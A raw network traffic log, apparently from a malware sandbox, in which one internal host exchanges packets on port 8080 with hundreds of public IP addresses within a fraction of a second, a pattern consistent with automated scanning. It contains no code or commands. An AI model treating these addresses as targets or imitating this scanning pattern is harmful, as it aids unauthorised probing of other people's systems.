Feb 19, 2025 19:43:15.971992970 CET	26802	8080	192.168.2.13	95.157.56.88
Feb 19, 2025 19:43:15.971993923 CET	8080	26802	62.48.3.156	192.168.2.13
Feb 19, 2025 19:43:15.972012043 CET	8080	26802	62.155.82.224	192.168.2.13
Feb 19, 2025 19:43:15.972024918 CET	26802	8080	192.168.2.13	62.48.3.156
Feb 19, 2025 19:43:15.972028017 CET	8080	26802	31.54.17.34	192.168.2.13
Feb 19, 2025 19:43:15.972038031 CET	26802	8080	192.168.2.13	62.155.82.224
Feb 19, 2025 19:43:15.972049952 CET	8080	26802	62.241.96.131	192.168.2.13
Feb 19, 2025 19:43:15.972050905 CET	34362	8080	192.168.2.13	95.59.132.209
Feb 19, 2025 19:43:15.972059965 CET	26802	8080	192.168.2.13	31.54.17.34
Feb 19, 2025 19:43:15.972063065 CET	8080	26802	94.177.57.25	192.168.2.13
Feb 19, 2025 19:43:15.972074986 CET	26802	8080	192.168.2.13	62.241.96.131
Feb 19, 2025 19:43:15.972078085 CET	8080	26802	95.9.233.47	192.168.2.13
Feb 19, 2025 19:43:15.972086906 CET	26802	8080	192.168.2.13	94.177.57.25
Feb 19, 2025 19:43:15.972091913 CET	8080	26802	31.211.47.242	192.168.2.13
Feb 19, 2025 19:43:15.972105026 CET	8080	26802	85.195.154.202	192.168.2.13
Feb 19, 2025 19:43:15.972109079 CET	26802	8080	192.168.2.13	95.9.233.47
Feb 19, 2025 19:43:15.972117901 CET	8080	26802	94.72.153.191	192.168.2.13
Feb 19, 2025 19:43:15.972120047 CET	26802	8080	192.168.2.13	31.211.47.242
Feb 19, 2025 19:43:15.972131968 CET	8080	26802	62.116.156.87	192.168.2.13
Feb 19, 2025 19:43:15.972143888 CET	26802	8080	192.168.2.13	85.195.154.202
Feb 19, 2025 19:43:15.972148895 CET	26802	8080	192.168.2.13	94.72.153.191
Feb 19, 2025 19:43:15.972157001 CET	8080	26802	85.230.5.199	192.168.2.13
Feb 19, 2025 19:43:15.972170115 CET	8080	26802	62.131.217.116	192.168.2.13
Feb 19, 2025 19:43:15.972172022 CET	26802	8080	192.168.2.13	62.116.156.87
Feb 19, 2025 19:43:15.972181082 CET	26802	8080	192.168.2.13	85.230.5.199
Feb 19, 2025 19:43:15.972182989 CET	8080	26802	85.248.80.210	192.168.2.13
Feb 19, 2025 19:43:15.972197056 CET	8080	26802	85.137.43.212	192.168.2.13
Feb 19, 2025 19:43:15.972204924 CET	26802	8080	192.168.2.13	62.131.217.116
Feb 19, 2025 19:43:15.972209930 CET	8080	26802	94.158.208.113	192.168.2.13
Feb 19, 2025 19:43:15.972208977 CET	26802	8080	192.168.2.13	85.248.80.210
Feb 19, 2025 19:43:15.972229958 CET	26802	8080	192.168.2.13	85.137.43.212
Feb 19, 2025 19:43:15.972238064 CET	26802	8080	192.168.2.13	94.158.208.113
Feb 19, 2025 19:43:15.972301960 CET	8080	26802	31.100.210.7	192.168.2.13
Feb 19, 2025 19:43:15.972316027 CET	8080	26802	94.180.67.199	192.168.2.13
Feb 19, 2025 19:43:15.972327948 CET	26802	8080	192.168.2.13	31.100.210.7
Feb 19, 2025 19:43:15.972337008 CET	8080	26802	95.9.33.179	192.168.2.13
Feb 19, 2025 19:43:15.972343922 CET	26802	8080	192.168.2.13	94.180.67.199
Feb 19, 2025 19:43:15.972349882 CET	8080	26802	62.175.99.43	192.168.2.13
Feb 19, 2025 19:43:15.972367048 CET	26802	8080	192.168.2.13	95.9.33.179
Feb 19, 2025 19:43:15.972378016 CET	8080	26802	31.238.168.215	192.168.2.13
Feb 19, 2025 19:43:15.972390890 CET	8080	26802	94.125.149.232	192.168.2.13
Feb 19, 2025 19:43:15.972393036 CET	26802	8080	192.168.2.13	62.175.99.43
Feb 19, 2025 19:43:15.972399950 CET	26802	8080	192.168.2.13	31.238.168.215
Feb 19, 2025 19:43:15.972404003 CET	8080	26802	95.100.169.13	192.168.2.13
Feb 19, 2025 19:43:15.972424030 CET	26802	8080	192.168.2.13	94.125.149.232
Feb 19, 2025 19:43:15.972430944 CET	8080	26802	85.39.50.88	192.168.2.13
Feb 19, 2025 19:43:15.972434998 CET	26802	8080	192.168.2.13	95.100.169.13
Feb 19, 2025 19:43:15.972445011 CET	8080	26802	31.243.190.121	192.168.2.13
Feb 19, 2025 19:43:15.972459078 CET	8080	26802	94.8.178.216	192.168.2.13
Feb 19, 2025 19:43:15.972460985 CET	26802	8080	192.168.2.13	85.39.50.88
Feb 19, 2025 19:43:15.972470999 CET	8080	26802	85.47.244.229	192.168.2.13
Feb 19, 2025 19:43:15.972479105 CET	26802	8080	192.168.2.13	31.243.190.121
Feb 19, 2025 19:43:15.972484112 CET	8080	26802	62.150.121.205	192.168.2.13
Feb 19, 2025 19:43:15.972487926 CET	26802	8080	192.168.2.13	94.8.178.216
Feb 19, 2025 19:43:15.972496986 CET	26802	8080	192.168.2.13	85.47.244.229
Feb 19, 2025 19:43:15.972497940 CET	8080	26802	85.99.61.66	192.168.2.13
Feb 19, 2025 19:43:15.972512007 CET	8080	26802	94.150.68.207	192.168.2.13
Feb 19, 2025 19:43:15.972512960 CET	26802	8080	192.168.2.13	62.150.121.205
Feb 19, 2025 19:43:15.972526073 CET	8080	26802	85.100.74.178	192.168.2.13
Feb 19, 2025 19:43:15.972531080 CET	26802	8080	192.168.2.13	85.99.61.66
Feb 19, 2025 19:43:15.972538948 CET	8080	26802	31.88.228.204	192.168.2.13
Feb 19, 2025 19:43:15.972541094 CET	26802	8080	192.168.2.13	94.150.68.207
Feb 19, 2025 19:43:15.972557068 CET	8080	26802	62.105.8.48	192.168.2.13
Feb 19, 2025 19:43:15.972563028 CET	26802	8080	192.168.2.13	85.100.74.178
Feb 19, 2025 19:43:15.972573042 CET	26802	8080	192.168.2.13	31.88.228.204
Feb 19, 2025 19:43:15.972574949 CET	8080	26802	31.186.72.168	192.168.2.13
Feb 19, 2025 19:43:15.972589016 CET	8080	26802	31.65.179.220	192.168.2.13
Feb 19, 2025 19:43:15.972589970 CET	26802	8080	192.168.2.13	62.105.8.48
Feb 19, 2025 19:43:15.972600937 CET	26802	8080	192.168.2.13	31.186.72.168
Feb 19, 2025 19:43:15.972618103 CET	26802	8080	192.168.2.13	31.65.179.220
Feb 19, 2025 19:43:15.972623110 CET	8080	26802	94.132.20.53	192.168.2.13
Feb 19, 2025 19:43:15.972635984 CET	8080	26802	94.38.102.61	192.168.2.13
Feb 19, 2025 19:43:15.972652912 CET	8080	26802	94.229.32.81	192.168.2.13
Feb 19, 2025 19:43:15.972660065 CET	26802	8080	192.168.2.13	94.132.20.53
Feb 19, 2025 19:43:15.972662926 CET	26802	8080	192.168.2.13	94.38.102.61
Feb 19, 2025 19:43:15.972671986 CET	8080	26802	85.34.12.11	192.168.2.13
Feb 19, 2025 19:43:15.972681999 CET	26802	8080	192.168.2.13	94.229.32.81
Feb 19, 2025 19:43:15.972687960 CET	8080	26802	94.50.32.135	192.168.2.13
Feb 19, 2025 19:43:15.972700119 CET	26802	8080	192.168.2.13	85.34.12.11
Feb 19, 2025 19:43:15.972718954 CET	26802	8080	192.168.2.13	94.50.32.135
Feb 19, 2025 19:43:15.972752094 CET	8080	26802	31.237.173.18	192.168.2.13
Feb 19, 2025 19:43:15.972764969 CET	8080	26802	31.178.85.224	192.168.2.13
Feb 19, 2025 19:43:15.972779036 CET	26802	8080	192.168.2.13	31.237.173.18
Feb 19, 2025 19:43:15.972790956 CET	26802	8080	192.168.2.13	31.178.85.224
Feb 19, 2025 19:43:15.972903013 CET	8080	26802	95.84.120.212	192.168.2.13
Feb 19, 2025 19:43:15.972918034 CET	8080	26802	95.81.220.24	192.168.2.13
Feb 19, 2025 19:43:15.972932100 CET	8080	26802	94.255.239.161	192.168.2.13
Feb 19, 2025 19:43:15.972939968 CET	26802	8080	192.168.2.13	95.84.120.212
Feb 19, 2025 19:43:15.972944021 CET	8080	26802	95.53.51.206	192.168.2.13
Feb 19, 2025 19:43:15.972950935 CET	26802	8080	192.168.2.13	95.81.220.24
Feb 19, 2025 19:43:15.972956896 CET	26802	8080	192.168.2.13	94.255.239.161
Feb 19, 2025 19:43:15.972969055 CET	8080	26802	85.47.212.21	192.168.2.13
Feb 19, 2025 19:43:15.972979069 CET	26802	8080	192.168.2.13	95.53.51.206
Feb 19, 2025 19:43:15.972985029 CET	8080	26802	94.190.224.83	192.168.2.13
Feb 19, 2025 19:43:15.973001957 CET	8080	26802	85.91.154.11	192.168.2.13
Feb 19, 2025 19:43:15.973002911 CET	26802	8080	192.168.2.13	85.47.212.21
Feb 19, 2025 19:43:15.973016024 CET	26802	8080	192.168.2.13	94.190.224.83
Feb 19, 2025 19:43:15.973021030 CET	8080	26802	85.20.184.182	192.168.2.13
Feb 19, 2025 19:43:15.973035097 CET	26802	8080	192.168.2.13	85.91.154.11
Feb 19, 2025 19:43:15.973041058 CET	8080	26802	62.133.70.193	192.168.2.13
Feb 19, 2025 19:43:15.973047018 CET	26802	8080	192.168.2.13	85.20.184.182
Feb 19, 2025 19:43:15.973056078 CET	8080	26802	62.117.48.155	192.168.2.13
Feb 19, 2025 19:43:15.973069906 CET	8080	26802	31.117.36.14	192.168.2.13
Feb 19, 2025 19:43:15.973077059 CET	26802	8080	192.168.2.13	62.133.70.193
Feb 19, 2025 19:43:15.973083019 CET	8080	26802	94.158.167.6	192.168.2.13
Feb 19, 2025 19:43:15.973087072 CET	26802	8080	192.168.2.13	62.117.48.155
Feb 19, 2025 19:43:15.973097086 CET	8080	26802	85.188.189.50	192.168.2.13
Feb 19, 2025 19:43:15.973098993 CET	26802	8080	192.168.2.13	31.117.36.14
Feb 19, 2025 19:43:15.973109961 CET	8080	26802	85.190.57.3	192.168.2.13
Feb 19, 2025 19:43:15.973120928 CET	26802	8080	192.168.2.13	94.158.167.6
Feb 19, 2025 19:43:15.973120928 CET	8080	26802	85.38.205.96	192.168.2.13
Feb 19, 2025 19:43:15.973123074 CET	26802	8080	192.168.2.13	85.188.189.50
Feb 19, 2025 19:43:15.973134041 CET	26802	8080	192.168.2.13	85.190.57.3
Feb 19, 2025 19:43:15.973135948 CET	8080	26802	85.67.4.122	192.168.2.13
Feb 19, 2025 19:43:15.973146915 CET	26802	8080	192.168.2.13	85.38.205.96
Feb 19, 2025 19:43:15.973160028 CET	8080	26802	95.144.111.179	192.168.2.13
Feb 19, 2025 19:43:15.973164082 CET	26802	8080	192.168.2.13	85.67.4.122
Feb 19, 2025 19:43:15.973185062 CET	26802	8080	192.168.2.13	95.144.111.179
Feb 19, 2025 19:43:15.973370075 CET	8080	26802	62.31.64.203	192.168.2.13
Feb 19, 2025 19:43:15.973382950 CET	8080	26802	94.206.145.69	192.168.2.13
Feb 19, 2025 19:43:15.973396063 CET	8080	26802	94.128.101.177	192.168.2.13
Feb 19, 2025 19:43:15.973397970 CET	26802	8080	192.168.2.13	62.31.64.203
Feb 19, 2025 19:43:15.973407030 CET	26802	8080	192.168.2.13	94.206.145.69
Feb 19, 2025 19:43:15.973419905 CET	8080	26802	85.190.156.87	192.168.2.13
Feb 19, 2025 19:43:15.973428965 CET	26802	8080	192.168.2.13	94.128.101.177
Feb 19, 2025 19:43:15.973433018 CET	8080	26802	85.191.148.230	192.168.2.13
Feb 19, 2025 19:43:15.973450899 CET	8080	26802	31.86.85.141	192.168.2.13
Feb 19, 2025 19:43:15.973453999 CET	26802	8080	192.168.2.13	85.190.156.87
Feb 19, 2025 19:43:15.973464012 CET	26802	8080	192.168.2.13	85.191.148.230
Feb 19, 2025 19:43:15.973469019 CET	8080	26802	95.184.4.105	192.168.2.13
Feb 19, 2025 19:43:15.973483086 CET	26802	8080	192.168.2.13	31.86.85.141
Feb 19, 2025 19:43:15.973485947 CET	8080	26802	94.39.70.210	192.168.2.13
Feb 19, 2025 19:43:15.973496914 CET	26802	8080	192.168.2.13	95.184.4.105
Feb 19, 2025 19:43:15.973511934 CET	8080	26802	94.253.158.115	192.168.2.13
Feb 19, 2025 19:43:15.973520041 CET	26802	8080	192.168.2.13	94.39.70.210
Feb 19, 2025 19:43:15.973524094 CET	8080	26802	62.107.5.165	192.168.2.13
Feb 19, 2025 19:43:15.973536968 CET	8080	26802	85.141.184.133	192.168.2.13
Feb 19, 2025 19:43:15.973541975 CET	26802	8080	192.168.2.13	94.253.158.115
Feb 19, 2025 19:43:15.973553896 CET	8080	26802	85.229.0.133	192.168.2.13
Feb 19, 2025 19:43:15.973565102 CET	26802	8080	192.168.2.13	62.107.5.165
Feb 19, 2025 19:43:15.973568916 CET	26802	8080	192.168.2.13	85.141.184.133
Feb 19, 2025 19:43:15.973579884 CET	8080	26802	94.123.161.168	192.168.2.13
Feb 19, 2025 19:43:15.973598957 CET	8080	26802	31.244.211.42	192.168.2.13
Feb 19, 2025 19:43:15.973604918 CET	26802	8080	192.168.2.13	85.229.0.133
Feb 19, 2025 19:43:15.973612070 CET	8080	26802	31.128.117.211	192.168.2.13
Feb 19, 2025 19:43:15.973612070 CET	26802	8080	192.168.2.13	94.123.161.168
Feb 19, 2025 19:43:15.973624945 CET	8080	26802	85.145.114.114	192.168.2.13
Feb 19, 2025 19:43:15.973628044 CET	26802	8080	192.168.2.13	31.244.211.42
Feb 19, 2025 19:43:15.973634005 CET	26802	8080	192.168.2.13	31.128.117.211
Feb 19, 2025 19:43:15.973647118 CET	8080	26802	85.28.48.48	192.168.2.13
Feb 19, 2025 19:43:15.973659992 CET	26802	8080	192.168.2.13	85.145.114.114
Feb 19, 2025 19:43:15.973659992 CET	8080	26802	85.133.255.206	192.168.2.13
Feb 19, 2025 19:43:15.973675013 CET	8080	26802	85.121.87.249	192.168.2.13
Feb 19, 2025 19:43:15.973675966 CET	26802	8080	192.168.2.13	85.28.48.48
Feb 19, 2025 19:43:15.973690033 CET	8080	26802	31.216.107.163	192.168.2.13
Feb 19, 2025 19:43:15.973692894 CET	26802	8080	192.168.2.13	85.133.255.206
Feb 19, 2025 19:43:15.973704100 CET	8080	26802	94.39.177.205	192.168.2.13
Feb 19, 2025 19:43:15.973705053 CET	26802	8080	192.168.2.13	85.121.87.249
Feb 19, 2025 19:43:15.973716974 CET	8080	26802	31.199.41.212	192.168.2.13
Feb 19, 2025 19:43:15.973717928 CET	26802	8080	192.168.2.13	31.216.107.163
Feb 19, 2025 19:43:15.973731041 CET	8080	26802	94.64.74.248	192.168.2.13
Feb 19, 2025 19:43:15.973732948 CET	26802	8080	192.168.2.13	94.39.177.205
Feb 19, 2025 19:43:15.973748922 CET	8080	26802	95.196.24.249	192.168.2.13
Feb 19, 2025 19:43:15.973750114 CET	26802	8080	192.168.2.13	31.199.41.212
Feb 19, 2025 19:43:15.973762989 CET	26802	8080	192.168.2.13	94.64.74.248
Feb 19, 2025 19:43:15.973779917 CET	8080	26802	94.25.124.93	192.168.2.13
Feb 19, 2025 19:43:15.973783016 CET	26802	8080	192.168.2.13	95.196.24.249
Feb 19, 2025 19:43:15.973807096 CET	26802	8080	192.168.2.13	94.25.124.93
Feb 19, 2025 19:43:15.973819971 CET	8080	26802	62.188.158.107	192.168.2.13
Feb 19, 2025 19:43:15.973833084 CET	8080	26802	85.221.218.174	192.168.2.13
Feb 19, 2025 19:43:15.973845005 CET	8080	26802	94.24.44.71	192.168.2.13
Feb 19, 2025 19:43:15.973848104 CET	26802	8080	192.168.2.13	62.188.158.107
Feb 19, 2025 19:43:15.973858118 CET	8080	26802	31.16.200.179	192.168.2.13
Feb 19, 2025 19:43:15.973870039 CET	26802	8080	192.168.2.13	85.221.218.174
Feb 19, 2025 19:43:15.973870039 CET	26802	8080	192.168.2.13	94.24.44.71
Feb 19, 2025 19:43:15.973889112 CET	26802	8080	192.168.2.13	31.16.200.179
Feb 19, 2025 19:43:15.973944902 CET	8080	26802	62.209.35.124	192.168.2.13
Feb 19, 2025 19:43:15.973961115 CET	8080	26802	85.220.197.230	192.168.2.13
Feb 19, 2025 19:43:15.973973036 CET	26802	8080	192.168.2.13	62.209.35.124
Feb 19, 2025 19:43:15.973993063 CET	8080	26802	85.219.194.148	192.168.2.13
Feb 19, 2025 19:43:15.973999977 CET	26802	8080	192.168.2.13	85.220.197.230
Feb 19, 2025 19:43:15.974013090 CET	8080	26802	94.140.67.140	192.168.2.13
Feb 19, 2025 19:43:15.974025011 CET	8080	26802	85.118.10.120	192.168.2.13
Feb 19, 2025 19:43:15.974025965 CET	26802	8080	192.168.2.13	85.219.194.148
Feb 19, 2025 19:43:15.974036932 CET	8080	26802	31.171.156.125	192.168.2.13
Feb 19, 2025 19:43:15.974037886 CET	26802	8080	192.168.2.13	94.140.67.140
Feb 19, 2025 19:43:15.974050045 CET	8080	26802	94.108.121.193	192.168.2.13
Feb 19, 2025 19:43:15.974052906 CET	26802	8080	192.168.2.13	85.118.10.120
Feb 19, 2025 19:43:15.974061966 CET	26802	8080	192.168.2.13	31.171.156.125
Feb 19, 2025 19:43:15.974061966 CET	8080	26802	95.174.88.126	192.168.2.13
Feb 19, 2025 19:43:15.974076033 CET	8080	26802	85.152.39.120	192.168.2.13
Feb 19, 2025 19:43:15.974081039 CET	26802	8080	192.168.2.13	94.108.121.193
Feb 19, 2025 19:43:15.974087954 CET	26802	8080	192.168.2.13	95.174.88.126
Feb 19, 2025 19:43:15.974087954 CET	8080	26802	31.194.161.67	192.168.2.13
Feb 19, 2025 19:43:15.974101067 CET	8080	26802	85.167.166.214	192.168.2.13
Feb 19, 2025 19:43:15.974107981 CET	26802	8080	192.168.2.13	85.152.39.120
Feb 19, 2025 19:43:15.974112988 CET	8080	26802	62.20.234.142	192.168.2.13
Feb 19, 2025 19:43:15.974117041 CET	26802	8080	192.168.2.13	31.194.161.67
Feb 19, 2025 19:43:15.974126101 CET	8080	26802	94.96.132.104	192.168.2.13
Feb 19, 2025 19:43:15.974128962 CET	26802	8080	192.168.2.13	85.167.166.214
Feb 19, 2025 19:43:15.974138975 CET	8080	26802	62.109.150.249	192.168.2.13
Feb 19, 2025 19:43:15.974149942 CET	26802	8080	192.168.2.13	62.20.234.142
Feb 19, 2025 19:43:15.974154949 CET	26802	8080	192.168.2.13	94.96.132.104
Feb 19, 2025 19:43:15.974163055 CET	8080	26802	62.194.252.3	192.168.2.13
Feb 19, 2025 19:43:15.974175930 CET	8080	26802	62.189.132.153	192.168.2.13
Feb 19, 2025 19:43:15.974175930 CET	26802	8080	192.168.2.13	62.109.150.249
Feb 19, 2025 19:43:15.974189997 CET	8080	26802	94.181.249.49	192.168.2.13
Feb 19, 2025 19:43:15.974194050 CET	26802	8080	192.168.2.13	62.194.252.3
Feb 19, 2025 19:43:15.974204063 CET	8080	26802	94.227.192.218	192.168.2.13
Feb 19, 2025 19:43:15.974206924 CET	26802	8080	192.168.2.13	62.189.132.153
Feb 19, 2025 19:43:15.974215984 CET	8080	26802	85.192.155.197	192.168.2.13
Feb 19, 2025 19:43:15.974220991 CET	26802	8080	192.168.2.13	94.181.249.49
Feb 19, 2025 19:43:15.974231005 CET	26802	8080	192.168.2.13	94.227.192.218
Feb 19, 2025 19:43:15.974231005 CET	8080	26802	85.249.67.20	192.168.2.13
Feb 19, 2025 19:43:15.974244118 CET	26802	8080	192.168.2.13	85.192.155.197
Feb 19, 2025 19:43:15.974250078 CET	8080	26802	31.147.200.2	192.168.2.13
Feb 19, 2025 19:43:15.974261999 CET	26802	8080	192.168.2.13	85.249.67.20
Feb 19, 2025 19:43:15.974267006 CET	8080	26802	95.219.28.5	192.168.2.13
Feb 19, 2025 19:43:15.974282980 CET	26802	8080	192.168.2.13	31.147.200.2
Feb 19, 2025 19:43:15.974283934 CET	8080	26802	85.57.202.97	192.168.2.13
Feb 19, 2025 19:43:15.974298954 CET	26802	8080	192.168.2.13	95.219.28.5
Feb 19, 2025 19:43:15.974302053 CET	8080	26802	94.54.17.239	192.168.2.13
Feb 19, 2025 19:43:15.974313974 CET	26802	8080	192.168.2.13	85.57.202.97
Feb 19, 2025 19:43:15.974328995 CET	26802	8080	192.168.2.13	94.54.17.239
Feb 19, 2025 19:43:15.974359035 CET	8080	26802	31.137.199.52	192.168.2.13
Feb 19, 2025 19:43:15.974370956 CET	8080	26802	62.171.212.38	192.168.2.13
Feb 19, 2025 19:43:15.974385023 CET	8080	26802	31.89.135.107	192.168.2.13
Feb 19, 2025 19:43:15.974390984 CET	26802	8080	192.168.2.13	31.137.199.52
Feb 19, 2025 19:43:15.974397898 CET	8080	26802	95.148.186.195	192.168.2.13
Feb 19, 2025 19:43:15.974400997 CET	26802	8080	192.168.2.13	62.171.212.38
Feb 19, 2025 19:43:15.974411964 CET	8080	26802	62.51.147.66	192.168.2.13
Feb 19, 2025 19:43:15.974421024 CET	26802	8080	192.168.2.13	31.89.135.107
Feb 19, 2025 19:43:15.974423885 CET	26802	8080	192.168.2.13	95.148.186.195
Feb 19, 2025 19:43:15.974442959 CET	26802	8080	192.168.2.13	62.51.147.66
Feb 19, 2025 19:43:15.974524975 CET	8080	26802	85.85.195.133	192.168.2.13
Feb 19, 2025 19:43:15.974538088 CET	8080	26802	95.77.163.89	192.168.2.13
Feb 19, 2025 19:43:15.974553108 CET	8080	26802	94.33.215.178	192.168.2.13
Feb 19, 2025 19:43:15.974555016 CET	26802	8080	192.168.2.13	85.85.195.133
Feb 19, 2025 19:43:15.974565029 CET	26802	8080	192.168.2.13	95.77.163.89
Feb 19, 2025 19:43:15.974566936 CET	8080	26802	94.253.99.220	192.168.2.13
Feb 19, 2025 19:43:15.974581003 CET	8080	26802	62.224.250.58	192.168.2.13
Feb 19, 2025 19:43:15.974585056 CET	26802	8080	192.168.2.13	94.33.215.178
Feb 19, 2025 19:43:15.974591017 CET	26802	8080	192.168.2.13	94.253.99.220
Feb 19, 2025 19:43:15.974594116 CET	8080	26802	85.100.32.247	192.168.2.13
Feb 19, 2025 19:43:15.974606991 CET	8080	26802	62.236.46.23	192.168.2.13
Feb 19, 2025 19:43:15.974612951 CET	26802	8080	192.168.2.13	62.224.250.58
Feb 19, 2025 19:43:15.974620104 CET	8080	26802	95.17.61.213	192.168.2.13
Feb 19, 2025 19:43:15.974631071 CET	26802	8080	192.168.2.13	85.100.32.247
Feb 19, 2025 19:43:15.974632025 CET	26802	8080	192.168.2.13	62.236.46.23
Feb 19, 2025 19:43:15.974632978 CET	8080	26802	31.196.218.175	192.168.2.13
Feb 19, 2025 19:43:15.974646091 CET	8080	26802	94.7.167.61	192.168.2.13
Feb 19, 2025 19:43:15.974647045 CET	26802	8080	192.168.2.13	95.17.61.213
Feb 19, 2025 19:43:15.974658012 CET	8080	26802	31.193.104.40	192.168.2.13
Feb 19, 2025 19:43:15.974666119 CET	26802	8080	192.168.2.13	31.196.218.175
Feb 19, 2025 19:43:15.974670887 CET	8080	26802	62.155.58.89	192.168.2.13
Feb 19, 2025 19:43:15.974679947 CET	26802	8080	192.168.2.13	94.7.167.61
Feb 19, 2025 19:43:15.974684000 CET	26802	8080	192.168.2.13	31.193.104.40
Feb 19, 2025 19:43:15.974699020 CET	8080	26802	62.123.167.26	192.168.2.13
Feb 19, 2025 19:43:15.974701881 CET	26802	8080	192.168.2.13	62.155.58.89
Feb 19, 2025 19:43:15.974714994 CET	8080	26802	31.196.180.133	192.168.2.13
Feb 19, 2025 19:43:15.974731922 CET	8080	26802	85.154.34.98	192.168.2.13
Feb 19, 2025 19:43:15.974746943 CET	8080	26802	62.34.145.83	192.168.2.13
Feb 19, 2025 19:43:15.974761009 CET	8080	26802	62.115.140.70	192.168.2.13
Feb 19, 2025 19:43:15.974776030 CET	8080	26802	85.140.99.149	192.168.2.13
Feb 19, 2025 19:43:15.974790096 CET	26802	8080	192.168.2.13	62.115.140.70
Feb 19, 2025 19:43:15.974798918 CET	26802	8080	192.168.2.13	62.123.167.26
Feb 19, 2025 19:43:15.974801064 CET	26802	8080	192.168.2.13	31.196.180.133
Feb 19, 2025 19:43:15.974801064 CET	26802	8080	192.168.2.13	85.154.34.98
Feb 19, 2025 19:43:15.974807978 CET	26802	8080	192.168.2.13	62.34.145.83
Feb 19, 2025 19:43:15.974814892 CET	26802	8080	192.168.2.13	85.140.99.149
Feb 19, 2025 19:43:15.974821091 CET	8080	26802	62.247.219.0	192.168.2.13
Feb 19, 2025 19:43:15.974834919 CET	8080	26802	94.243.249.120	192.168.2.13
Feb 19, 2025 19:43:15.974848032 CET	8080	26802	85.27.16.62	192.168.2.13
Feb 19, 2025 19:43:15.974853039 CET	26802	8080	192.168.2.13	62.247.219.0
Feb 19, 2025 19:43:15.974860907 CET	8080	26802	95.39.77.68	192.168.2.13
Feb 19, 2025 19:43:15.974864006 CET	26802	8080	192.168.2.13	94.243.249.120
Feb 19, 2025 19:43:15.974879026 CET	26802	8080	192.168.2.13	85.27.16.62
Feb 19, 2025 19:43:15.974885941 CET	26802	8080	192.168.2.13	95.39.77.68
Feb 19, 2025 19:43:15.974942923 CET	8080	26802	31.230.207.184	192.168.2.13
Feb 19, 2025 19:43:15.974956036 CET	8080	26802	94.231.139.95	192.168.2.13
Feb 19, 2025 19:43:15.974967003 CET	8080	26802	31.148.209.188	192.168.2.13
Feb 19, 2025 19:43:15.974981070 CET	26802	8080	192.168.2.13	31.230.207.184
Feb 19, 2025 19:43:15.974981070 CET	26802	8080	192.168.2.13	94.231.139.95
Feb 19, 2025 19:43:15.975003004 CET	8080	26802	95.153.181.211	192.168.2.13
Feb 19, 2025 19:43:15.975009918 CET	26802	8080	192.168.2.13	31.148.209.188
Feb 19, 2025 19:43:15.975034952 CET	8080	26802	95.103.134.170	192.168.2.13
Feb 19, 2025 19:43:15.975038052 CET	26802	8080	192.168.2.13	95.153.181.211
Feb 19, 2025 19:43:15.975048065 CET	8080	26802	94.56.131.167	192.168.2.13
Feb 19, 2025 19:43:15.975060940 CET	8080	26802	85.80.234.25	192.168.2.13
Feb 19, 2025 19:43:15.975066900 CET	26802	8080	192.168.2.13	95.103.134.170
Feb 19, 2025 19:43:15.975075006 CET	8080	26802	85.50.180.90	192.168.2.13
Feb 19, 2025 19:43:15.975078106 CET	26802	8080	192.168.2.13	94.56.131.167
Feb 19, 2025 19:43:15.975089073 CET	8080	26802	95.30.225.49	192.168.2.13
Feb 19, 2025 19:43:15.975092888 CET	26802	8080	192.168.2.13	85.80.234.25
Feb 19, 2025 19:43:15.975102901 CET	26802	8080	192.168.2.13	85.50.180.90
Feb 19, 2025 19:43:15.975117922 CET	8080	26802	31.213.133.50	192.168.2.13
Feb 19, 2025 19:43:15.975131989 CET	26802	8080	192.168.2.13	95.30.225.49
Feb 19, 2025 19:43:15.975131989 CET	8080	26802	85.206.101.157	192.168.2.13
Feb 19, 2025 19:43:15.975146055 CET	8080	26802	85.23.249.18	192.168.2.13
Feb 19, 2025 19:43:15.975148916 CET	26802	8080	192.168.2.13	31.213.133.50
Feb 19, 2025 19:43:15.975161076 CET	8080	26802	62.249.176.248	192.168.2.13
Feb 19, 2025 19:43:15.975164890 CET	26802	8080	192.168.2.13	85.206.101.157
Feb 19, 2025 19:43:15.975172997 CET	8080	26802	94.134.157.44	192.168.2.13
Feb 19, 2025 19:43:15.975182056 CET	26802	8080	192.168.2.13	85.23.249.18
Feb 19, 2025 19:43:15.975188017 CET	26802	8080	192.168.2.13	62.249.176.248
Feb 19, 2025 19:43:15.975188017 CET	8080	26802	62.253.60.96	192.168.2.13
Feb 19, 2025 19:43:15.975205898 CET	8080	26802	85.118.140.4	192.168.2.13
Feb 19, 2025 19:43:15.975207090 CET	26802	8080	192.168.2.13	94.134.157.44
Feb 19, 2025 19:43:15.975219011 CET	26802	8080	192.168.2.13	62.253.60.96
Feb 19, 2025 19:43:15.975224018 CET	8080	26802	94.169.245.39	192.168.2.13
Feb 19, 2025 19:43:15.975231886 CET	26802	8080	192.168.2.13	85.118.140.4
Feb 19, 2025 19:43:15.975240946 CET	8080	26802	85.247.109.52	192.168.2.13
Feb 19, 2025 19:43:15.975254059 CET	26802	8080	192.168.2.13	94.169.245.39
Feb 19, 2025 19:43:15.975258112 CET	8080	26802	85.95.200.242	192.168.2.13
Feb 19, 2025 19:43:15.975271940 CET	8080	26802	94.80.44.89	192.168.2.13
Feb 19, 2025 19:43:15.975286961 CET	26802	8080	192.168.2.13	85.95.200.242
Feb 19, 2025 19:43:15.975322008 CET	8080	26802	94.25.22.201	192.168.2.13
Feb 19, 2025 19:43:15.975337029 CET	8080	26802	94.134.36.60	192.168.2.13
Feb 19, 2025 19:43:15.975337029 CET	26802	8080	192.168.2.13	94.80.44.89
Feb 19, 2025 19:43:15.975338936 CET	26802	8080	192.168.2.13	85.247.109.52
Feb 19, 2025 19:43:15.975349903 CET	8080	26802	62.234.184.158	192.168.2.13
Feb 19, 2025 19:43:15.975354910 CET	26802	8080	192.168.2.13	94.25.22.201
Feb 19, 2025 19:43:15.975367069 CET	8080	26802	31.36.253.29	192.168.2.13
Feb 19, 2025 19:43:15.975368023 CET	26802	8080	192.168.2.13	94.134.36.60
Feb 19, 2025 19:43:15.975374937 CET	26802	8080	192.168.2.13	62.234.184.158
Feb 19, 2025 19:43:15.975384951 CET	8080	26802	94.175.147.231	192.168.2.13
Feb 19, 2025 19:43:15.975395918 CET	26802	8080	192.168.2.13	31.36.253.29
Feb 19, 2025 19:43:15.975402117 CET	8080	26802	95.106.78.87	192.168.2.13
Feb 19, 2025 19:43:15.975415945 CET	26802	8080	192.168.2.13	94.175.147.231
Feb 19, 2025 19:43:15.975419044 CET	8080	26802	31.60.98.145	192.168.2.13
Feb 19, 2025 19:43:15.975431919 CET	26802	8080	192.168.2.13	95.106.78.87
Feb 19, 2025 19:43:15.975433111 CET	8080	26802	62.136.85.81	192.168.2.13
Feb 19, 2025 19:43:15.975450993 CET	26802	8080	192.168.2.13	31.60.98.145
